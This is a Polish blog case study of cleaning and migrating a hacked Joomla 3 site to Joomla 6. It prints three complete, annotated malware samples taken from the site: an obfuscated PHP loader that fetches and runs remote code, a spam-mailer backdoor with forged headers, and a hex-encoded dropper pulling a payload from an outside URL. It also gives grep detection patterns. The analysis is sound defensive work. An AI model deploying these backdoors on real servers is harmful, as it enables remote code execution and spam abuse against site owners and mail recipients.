- 🤖 Skanowanie agentem AI
- 🚪 Backdoory i „przydrożna speluna”
- 🧪 „Przysmaki” w plikach szablonu
- 🕵️ Czym się to zajmuje?
- 🧬 Zainfekowane szablony systemowe
- 🌐 Co radzą w internetach
- 🔎 Skanowanie jest niezbędne
- ➡️ Co dalej?
- 🧠 Import danych agentem AI
- 🎨 Szablon pod Joomla 6
- 🔌 Moduły do zastąpienia
- 🧾 Podsumowanie
Witam wszystkich w najnowszym case study. Ostatnio przyszło mi grzebać w starym sklepie internetowym opartym na OpenCart. Dzisiaj równie stary twór wjeżdża na warsztat – strona www oparta na Joomla 3.0.9.
Strona shakowana i również daje przekierowania. Ten przypadek jest nieco sprytniejszy. Przekierowanie nie zawsze działa :) Strona internetowa była wykonana w 2014 roku. A więc ma 12 lat.
Podczas grzebanka postaram się znaleźć owy złośliwy plik i przeanalizować go i objaśnić co tak naprawdę robi w ukryciu.
Moim zadaniem jest tradycyjnie „spalić wszystko”, odzyskać pliki i szablon. Przy tym zleceniu przetestuję tez jak radzi sobie AI z importem danych pomiędzy starą baza danych Joomla a nową z Joomla 6. Trzeba będzie przeskanować zdjęcia, czy nie mają prezentów od hakera, i przeskanować, a następnie dostosować szablon do środowiska Joomla 6.
Następnie odbuduję strukturę modułów. Większość używanych na stronie dla kolejnych wersji już nie istnieje, ale tak się składa, że w repo Design Cart mam wszystko, co będzie potrzebne.
Do dzieła. 🚀
Zaczynam od pobrania wszystkich plików.
🤖 Skanowanie agentem AI
Tę stronę przeskanuję jedynie agentem AI. Zauważyłem, że świetnie sobie z tym radzą, zwłaszcza do poszukiwania wstrzykniętego kodu, backdoorów itd. Radzą sobie lepiej niż antywirusy tradycyjne. Korzystają zresztą z podobnych komend, które podałem w poprzednim case study o zakażonym sklepie, po co się przemęczać :)
🚪 Backdoory i „przydrożna speluna”
Znalazłem z AI wiele infekcji. Zacznę może od backdoorów, bo jest ich mnóstwo. Cały katalog tmp zawalony plikami, wygląda to raczej na przydrożny bar – spelunę dla hakerów niż pojedynczy atak. Każdy zaparkował swój pliczek. Poniżej omawiam trzy gatunki, jakie znalazłem.
1) Obfuskowany loader + RCE (przyklad: tmp/index.php)
Co to robi: ten plik jest etapowym loaderem. Po podaniu poprawnego hasla (sprawdzanego przez hash MD5) pobiera zdalny payload, zapisuje go jako tymczasowy plik PHP, uruchamia i usuwa.
Po co to jest: napastnik trzyma "wlasciwy" malware poza serwerem ofiary i moze go dynamicznie podmieniac. Sam backdoor jest tylko mala furtka do uruchamiania kodu na zadanie.
Dlaczego jest grozny: to realne RCE (Remote Code Execution), czyli pelna kontrola nad wykonywanym kodem w kontekscie procesu PHP.
Wersja w pliku jest mocniej obfuskowana, ale mechanizm jest ten sam: dekodowanie + pobranie + zapis + uruchomienie + sprzatanie sladow.
<?php var_dump(md5(2)); // "znacznik zycia" - zwraca hash md5(2), napastnik widzi ze plik dziala
try{error_reporting(0); // ukrywa ostrzezenia i bledy, aby nie zdradzac dzialania backdoora
$k = strrev(chr(118).chr(101).chr(114).chr(114).chr(116).chr(115)); // buduje napis "strrev"
$l = strrev(chr(107).chr(110).chr(105).chr(108).chr(110).chr(117)); // buduje napis "unlink"
$k = strrev(chr(118).chr(101).chr(114).chr(114).chr(116).chr(115)); // ponownie "strrev" (obfuskacja)
$z="ba".$k(chr(99).chr(101).chr(100).chr(95).chr(52).chr(54).chr(101).chr(115))."ode"; // sklada "base64_decode"
if(isset($_GET["akt"])&& $_GET["akt"]==="h" ){echo md5(909);die();} // endpoint testowy C2: po ?akt=h zwraca kontrolny hash i konczy
if(isset($_POST["o"])){ // zaczyna sie glowna logika po otrzymaniu hasla w POST
if (md5($_POST["o"])===$k(chr(101).chr(57).chr(54).chr(57).chr(54).chr(55).chr(55).chr(99).chr(101).chr(100).chr(54).chr(99).chr(57).chr(101).chr(55).chr(50).chr(57).chr(97).chr(48).chr(102).chr(52).chr(99).chr(50).chr(100).chr(102).chr(98).chr(49).chr(50).chr(54).chr(57).chr(48).chr(54))){ // porownuje hash hasla z twardo zaszytym MD5
$a=$k(chr(108).chr(105).chr(102))."e_"; // daje "file_"
$b=$k(chr(115).chr(116).chr(110).chr(101).chr(116).chr(110).chr(111).chr(99)); // daje "contents"
$t =tempnam(sys_get_temp_dir(), 't'); // tworzy losowy plik w katalogu tymczasowym
$t=$t."."."p"."hp"; // dopina rozszerzenie .php, zeby dało się include
$c=$a."get_".$b; // sklada "file_get_contents"
$d=$a."put_".$b; // sklada "file_put_contents"
$m=$c($k(chr(47).chr(47).chr(58).chr(115).chr(112).chr(116).chr(116).chr(104)).$z($_POST['oo'])); // pobiera kod z URL: "http://" + base64_decode($_POST['oo'])
$d($t,"<"."?"."ph"."p ".$m); // zapisuje pobrany kod jako tymczasowy plik PHP
@include($t); // uruchamia pobrany payload na serwerze (RCE)
var_dump($t); // wypisuje sciezke, pomocne dla operatora malware
@$l($t); // wywoluje unlink() i usuwa plik tymczasowy
die(); // konczy wykonanie po odpaleniu payloadu
}}}catch(ex){} ?> // tlumi ewentualne wyjatki
2) Mailer / spam backdoor (przyklad: tmp/mta-2af324a6.php)
Co to robi: po podaniu klucza k=sm_nuclear_d wysyla wiadomosci e-mail na wiele sposobow: przez sendmail, przez funkcje mail(), a gdy to zawiedzie - bezposrednio przez SMTP na 127.0.0.1:25.
Po co to jest: zamienia serwer www w punkt wysylki spamu/phishingu. Fallbacki zwiekszaja szanse, ze wysylka zadziala nawet przy czesciowych blokadach.
Dlaczego jest grozny: szybko psuje reputacje IP i domeny, moze doprowadzic do blacklist, blokad i odrzuceń legalnej poczty.
Autor dodal tez "profesjonalne" naglowki (X-Mailer: Microsoft Outlook 16.0, Message-ID), by podniesc dostarczalnosc i utrudnic filtrowanie.
<?php
error_reporting(0); // wycisza bledy, zeby dzialac "po cichu"
$K='sm_nuclear_d'; // haslo/operator key wymagane do uruchomienia wysylki
if(($_POST['k']??'')!==$K)die(''); // bez poprawnego klucza natychmiast konczy
if(isset($_POST['raw'])&&$_POST['raw']!=''){ // tryb 1: napastnik podaje gotowa tresc surowego maila
$r=$_POST['raw'];$f=$_POST['from']??'';$t=$_POST['to']??''; // pobiera tresc, nadawce i odbiorce
$sm=null;foreach(['/usr/sbin/sendmail','/usr/lib/sendmail','/usr/bin/sendmail'] as $s){if(@file_exists($s)){$sm=$s;break;}} // szuka binarki sendmail
if(!$sm){$x=@trim(@shell_exec('which sendmail 2>/dev/null'));if($x&&@file_exists($x))$sm=$x;} // fallback: wykrycie sendmail przez shell
if($sm){$p=@popen($sm.' -t -i -f'.escapeshellarg($f),'w');if($p){fwrite($p,$r);$c=pclose($p);if($c===0){echo 'SENT_OK';exit;}}} // wysylka przez lokalny sendmail
foreach(['127.0.0.1','localhost'] as $h){$sk=@fsockopen($h,25,$en,$es,5);if(!$sk)continue;$hn=@gethostname()?:'localhost';@fgets($sk,512);fwrite($sk,"EHLO $hn\r\n");do{$el=@fgets($sk,512);}while($el&&substr($el,3,1)==='-');fwrite($sk,"MAIL FROM:<$f>\r\n");@fgets($sk,512);fwrite($sk,"RCPT TO:<$t>\r\n");$x=@fgets($sk,512);if(substr($x,0,1)!=='2'){@fclose($sk);continue;}fwrite($sk,"DATA\r\n");@fgets($sk,512);$w=str_replace("\r\n","\n",$r);$w=str_replace("\n","\r\n",$w);fwrite($sk,$w."\r\n.\r\n");$x=@fgets($sk,512);fwrite($sk,"QUIT\r\n");@fclose($sk);if(substr($x,0,1)==='2'){echo 'SENT_SMTP';exit;}} // fallback: reczne wysylanie SMTP na porcie 25
echo 'PIPE_FAIL';exit;} // zwraca blad, jesli oba sposoby nie zadzialaly
$t=$_POST['to']??'';$f=$_POST['from']??'';$fn=$_POST['fn']??'';$s=$_POST['subj']??'';$h=$_POST['html']??''; // tryb 2: sklejanie maila z parametrow
if(!$t||!$f||!$s||!$h)die('ERR:MISSING'); // wymusza minimalny zestaw pol
$b='----=_'.bin2hex(random_bytes(12));$uid=bin2hex(random_bytes(6));$dom=explode('@',$f)[1]??'mail.com'; // generuje boundary i message-id
$hdr="From: \"$fn\" <$f>\n";$hdr.="Reply-To: $f\n";$hdr.="MIME-Version: 1.0\n";$hdr.="Content-Type: multipart/alternative; boundary=\"$b\"\n";$hdr.="X-Mailer: Microsoft Outlook 16.0\n";$hdr.="Message-ID: <$uid@$dom>\n"; // tworzy naglowki "udajace" legalna poczte
$p=strip_tags(preg_replace('/<style[^>]*>.*?<\/style>/si','',$h));$p=trim(substr(preg_replace('/\s+/',' ',$p),0,400)); // tworzy tekstowa wersje maila z HTML
$body="--$b\n";$body.="Content-Type: text/plain; charset=\"utf-8\"\n";$body.="Content-Transfer-Encoding: quoted-printable\n\n";$body.=quoted_printable_encode($p)."\n";$body.="--$b\n";$body.="Content-Type: text/html; charset=\"utf-8\"\n";$body.="Content-Transfer-Encoding: quoted-printable\n\n";$body.=quoted_printable_encode($h)."\n";$body.="--$b--\n"; // sklada cialo multipart
$ok=@mail($t,$s,$body,$hdr,"-f$f");if($ok){echo 'SENT_OK';exit;} // proba przez PHP mail()
$sk=@fsockopen('127.0.0.1',25,$en,$es,5);if(!$sk){$sk=@fsockopen('localhost',25,$en,$es,5);}if(!$sk){echo 'SEND_FAIL';exit;} // fallback SMTP
function sr($sk,$c){fwrite($sk,$c."\r\n");return fgets($sk,512);} // helper do komend SMTP
$hn=@gethostname()?:'localhost';fgets($sk,512);sr($sk,"EHLO $hn");while(substr(fgets($sk,512),3,1)==='-'){}sr($sk,"MAIL FROM:<$f>");$r=sr($sk,"RCPT TO:<$t>");if(substr($r,0,1)!=='2'){fclose($sk);echo 'SEND_FAIL';exit;}sr($sk,"DATA");$msg="Date: ".date('r')."\r\n";$msg.=str_replace("\n","\r\n",$hdr);$msg.="To: $t\r\n";$msg.="Subject: $s\r\n";$msg.="\r\n".str_replace("\n","\r\n",$body);fwrite($sk,$msg."\r\n.\r\n");$r=fgets($sk,512);sr($sk,"QUIT");fclose($sk);echo(substr($r,0,1)==='2')?'SENT_SMTP':'SEND_FAIL'; // reczna finalizacja sesji SMTP i status
?>
3) Jednolinijkowy dropper copy(hex2bin(...)) (przyklad: tmp/j112532.php)
Co to robi: to mini-dropper zapisany w jednej linijce. Dekoduje dwa napisy hex: URL z payloadem i sciezke docelowa, po czym kopiuje zdalny plik do lokalizacji poza tmp/.
Po co to jest: szybki "zasiew" kolejnych implantow w innych katalogach serwisu, z pominięciem duzych i latwych do wykrycia skryptow.
Dlaczego jest grozny: nawet po usunieciu jednego pliku infekcja moze juz byc rozlana po innych sciezkach.
Po dekodowaniu: zrodlem jest URL typu https://.../api/v1/...txt, a celem np. ../media/mailto/j112532.php.
<?=
$_ = chr(99).chr(111).chr(112).chr(121), // sklada nazwe funkcji "copy"
$_( // natychmiast wywoluje funkcje copy(zrodlo, cel)
$__ = hex2bin('68747470733a2f2f767a722e62652f6170692f76312f313835346f726148523063446f764c334e6c636e4a68596e4a68646d45755a5855766257566b6157457662574670624852764c326f784d5449314d7a4975634768772e747874'), // dekoduje URL zdalnego payloadu
$__1 = hex2bin('2e2e2f6d656469612f6d61696c746f2f6a3131323533322e706870') // dekoduje sciezke docelowa: ../media/mailto/j112532.php
)
?>
🧪 „Przysmaki” w plikach szablonu
Wooochuuu… znalazłem też wszczepione „przysmaki” w plikach szablonu. Akurat na plikach szablonu mi zależy, także tu trzeba będzie to oczyścić.
Kod:
⚠️ Podaję screena kodu ponieważ firewall serwera nie puszcza mi artykułu do zapisu przez niego - nie róbcie tego na swoich stronach 😉
Ktoś może zapytać: Po co haker się tak poci by zakodować złośliwy kod skoro 99% właścicieli stron i tak nie wie o co chodzi? 🤔
Haker nie robi tego po to by "Kowalskiemu" utrudnić jego czytanie, robi to by utrudnić jego wykrycie przez programy antywirusowe i inne zabezpieczenia serwerowe.
🕵️ Czym się to zajmuje?
To jest złośliwy, mocno obfuskowany loader JavaScript (wstrzyknięty malware), nie normalny kod szablonu.
Co robi w praktyce:
- Dekoduje ukryty kod przez funkcję
evalzString.fromCharCode. To klasyczna technika ukrywania działania przed człowiekiem i skanerami. - Buduje dynamicznie adresy C2 (serwerów atakującego). W środku składa URL-e z fragmentów typu
https://...i kilku wariantów domen, a potem robi żądania. - Wysyła zapytania HTTP (
XMLHttpRequest) do zewnętrznego serwera. Pobiera odpowiedź/komendę (responseText) i sprawdza „znacznik”, czy payload jest poprawny. - Dociąga kolejny skrypt do strony. Tworzy
<script>przezdocument.createElement('script')i ustawiasrcna zewnętrzny adres. To drugi etap infekcji (najgroźniejszy), bo może podmieniać treść strony, robić phishing, przekierowania itp. - Utrudnia debugowanie. Ma anty-analizę/anty-debug (m.in. manipulacje wokół
consolei obfuskacja flow), żeby trudniej było zrozumieć logikę. - Używa cookie (funkcja
clkk). Najpewniej do oznaczania ofiary/sesji i sterowania, kiedy ładować payload.
Krótko: to trojan-injector uruchamiany w przeglądarce odwiedzającego. 💀
🧬 Zainfekowane szablony systemowe
Wszystkie szablony systemowe również są z „pasożytami”:
templates/protostar/index.phptemplates/protostar/js/template.jstemplates/beez3/index.phptemplates/beez3/javascript/template.jstemplates/barcelona/index.php
Tym razem nie doszło do skażenia katalogu zdjęć. Haker ewidentnie wjechał z buta do domku i poczuł się od razu jak u siebie – co będzie się chował.
Znalazłem też podpis jednego z atakujących: „Hacked By CoupDeGrace” :) Gdy wygooglowałem frazę, zauważyłem, że problem znany nawet w Polsce.
🌐 Co radzą w internetach
Na jednej ze stron radzą:
- Zabezpieczenie aktualnego stanu strony
Zanim cokolwiek zostanie usunięte, warto wykonać kopię plików i bazy danych. Pozwala ona przeanalizować, co zostało zmienione. - Sprawdzenie plików strony
Szczególnie katalogów, w których zwykle nie powinny znajdować się pliki PHP, takich jakimages,mediaczytmp. - Kontrola kont administratorów
Należy sprawdzić, czy nie pojawiły się nowe konta z wysokimi uprawnieniami. - Aktualizacja Joomla i rozszerzeń
Dotyczy to zarówno samego CMS-a, jak i komponentów, modułów, dodatków oraz szablonu. - Zmiana danych dostępowych
Warto zmienić hasła do zaplecza Joomla, hostingu, FTP/SFTP, bazy danych oraz innych powiązanych usług. - Wdrożenie dodatkowych zabezpieczeń
Firewall aplikacyjny (WAF), monitoring bezpieczeństwa, regularne kopie zapasowe oraz obserwacja strony po zakończeniu prac pomagają ograniczyć ryzyko kolejnych incydentów. - Sprawdzenie widoczności w Google
Zainfekowana strona może zostać oznaczona jako niebezpieczna albo wyświetlać w wynikach wyszukiwania niechciane podstrony i treści spamowe.

Oczywiście to nie pomoże, ponieważ kod jest wstrzyknięty np. w pliki szablonu. Jak wcześniej pokazywałem wam fragmenty kodu, złośliwe ciastka mają zdolność do wpuszczania więcej ciastek i chowania ich po kątach. Gdybyśmy się zastosowali do wskazówek jednej z tych stron, z pozoru czysta strona za chwilę znowu by zamieniła się w przydrożną spelunę dla hakerów. Właśnie przez pliki, które zdawałoby się, że były na stronie zawsze i są kluczowe do jej funkcjonowania, a tak naprawdę zmieniły się w portal inwazyjny. Ewidentnie tekst generyczny z AI. 🍪
Jeżeli trafił Ci się tego typu dramat a ofiarą jest np. strona internetowa firmowa to zgłoś się do specjalisty, sprawdź nasza ofertę: strony internetowe Joomla!
🔎 Skanowanie jest niezbędne
Musisz zrozumieć że kod wszczepiony może być wszędzie. Mogą być dodane pliki. Goła instalacja Joomla 6 ma dokładnie 13 467 plików - nie jesteś w stanie przejrzeć każdego. Koncentracja zacznie spadać mocno po setnym pliku. Jedynym rozwiązaniem jest jest masowa filtracja, poszukiwanie według wzorców. Wszystkie złośliwości w stronie www nad którą pracuję znalazłem za pomocą poniższych komend. Myślę że w ogóle od tego powinno się zacząć a same komendy warto sobie gdzieś zapisać.
# szukanie typowych wzorców w całym projekcie
rg -n 'eval\(|base64_decode|shell_exec|passthru|system\(|assert\(|hex2bin\(|move_uploaded_file|creaticdnscr|fromCharCode' .
# pliki PHP / podejrzane rozszerzenia w images/
find images -type f \( -name '*.php*' -o -name '*.phtml' -o -name '*.pht' -o -name '*.phar' \)
# polygloty (GIF/JPG/PNG z kodem PHP)
rg -l --binary '<?php|<?=|eval\(|base64_decode|shell_exec|passthru' \
-g '*.gif' -g '*.jpg' -g '*.jpeg' -g '*.png' -g '*.ico' -g '*.svg' images/
# szybkie sprawdzenie podejrzanych plików
file images/*.php
➡️ Co dalej?
Tworzę sobie na localhost nową stronę z Joomla 6.
🧠 Import danych agentem AI
A teraz najlepsze: chciałem przetestować agenta AI w imporcie danych. Jak wiecie, struktura bazy danych z Joomla 3 i 6 się różni. Kiedyś się to robiło tak, że instalowało się wersję ostatnią 3, potem ostatnią 4, potem 5 i 6. Te wersje od razu modyfikowały strukturę. Ja od razu zainstalowałem wersję 6. W phpMyAdmin utworzyłem dwie bazy: dla nowej strony i starej. Do starej zaimportowałem starą bazę danych.
Następnie poprosiłem agenta, aby przeniósł dane ze starej strony na nową. Wynik niesamowity. AI sprawdziło zainstalowane języki, przeniosło dane, podpowiedziało, jakie pakiety mam doinstalować i jakie moduły zastąpić. Genialne! ✨
🎨 Szablon pod Joomla 6
Dobra, mam najnowszą Joomla 6 z wszystkimi podstronami, menu itd. Czas na szablon.
Z szablonu zabieram tylko główny CSS i strukturę HTML. Był prosty, bez wodotrysków, a chciałem go poprawić, ponieważ był tworzony w 2014 roku – mam wiele zastrzeżeń co do jego responsywności. Wtedy zresztą to się inaczej robiło – dzisiaj rządzi grid/flex.
OK. Mam kompletny serwis z szablonem. Brakuje modułów.
🔌 Moduły do zastąpienia
Sercem strony była galeria. Miała zainstalowaną płatną galerię Unite Gallery. Pamiętam doskonale tę galerię. Jak na tamte czasy dawała sporo możliwości plus umieszczanie galerii dosłownie wszędzie za pomocą shortcode.
| Extension | Użycie | Pozycje |
|---|---|---|
mod_unite_gallery / com_unitegallery |
slider + „New images” ×8 lang | slider, right (~995 itemów galerii) |
mod_b2jcontact / com_b2jcontact |
formularz Event Request ×7 lang | event-request (+ pozycje menu Contact) |
mod_responsive_grid_for_articles (Minitek) |
Photo / Video grids | galleries, video |
Galerię Unite Gallery zastąpię moim pluginem DC Gallery.
Moduł mod_b2jcontact zastąpią z nawiązką moje moduły: DC Map do generowania mapek Google oraz DC Joo Contact do generowania formularzy. Moduł mod_responsive_grid_for_articles z powodzeniem i nawiązką zastąpi mój moduł DC News lub DC Carousel Articles.
Dodatkowo warto stronę dostosować do prawa EU. Dodam podstronę z polityką prywatności oraz informację o plikach cookies – tu też użyję autorskiego modułu DC Cookies.
A więc całość zastąpiłem swoimi rozwiązaniami – i dobrze, ponieważ moje moduły nie przyjmują danych z zewnątrz, a formularze konfiguracyjne są generowane na podstawie manifestu XML – są więc w 100% chronione przez magię Joomla. 🛡️
Poskładane. Czas wodować. 🚢
🧾 Podsumowanie
Z 12-letniej, shakowanej Joomli 3.0.9 zostało dokładnie to, co trzeba: treści, menu, języki i czysty, przebudowany szablon pod Joomla 6. Resztę – backdoory w tmp/, wstrzyknięty JS w szablonach, „porady z internetu”, które nie wystarczą przy infekcji w plikach systemowych – trzeba było najpierw znaleźć, zrozumieć i odłożyć na bok.
Najważniejsze wnioski z tego case study:
- Antywirus to za mało. Agent AI świetnie łapie wstrzyknięty kod, backdoory i obfuskowane loadery.
- Usunięcie „oczywistych” plików z
tmp/nic nie da, jeśli pasożyt siedzi windex.phpszablonu i dokłada kolejne skrypty z C2. - Migracja 3 → 6 nie musi iść po schodkach 3–4–5–6. Przy dwóch bazach i sensownym imporcie da się przeskoczyć od razu – agent AI ogarnął języki, treści i listę braków.
- Stare płatne rozszerzenia (Unite Gallery, B2J Contact, Minitek) lepiej zastąpić bezpiecznymi modułami Design Cart: DC Gallery, DC Map, DC Joo Contact, DC News/Carousel i DC Cookies.
- Im mniej „magii z zewnątrz” w formularzach, tym bezpieczniej dlatego najbezpieczniejsze formularze to te generowane z manifestu xml.
Efekt: świeża Joomla 6, odzyskane dane, nowocześniejszy layout i stack, który kontroluję od A do Z. Stara speluna dla hakerów poszła do archiwum – poza środowiskiem, gdzie PHP się nie wykona. Nowa strona: do wodowania. ✅
Sklepy internetowe Woocommerce
Sklepy internetowe Opencart
Sklepy internetowe Prestashop
Sklepy internetowe Magento
Strony internetowe Joomla!
Strony Internetowe Wordpress


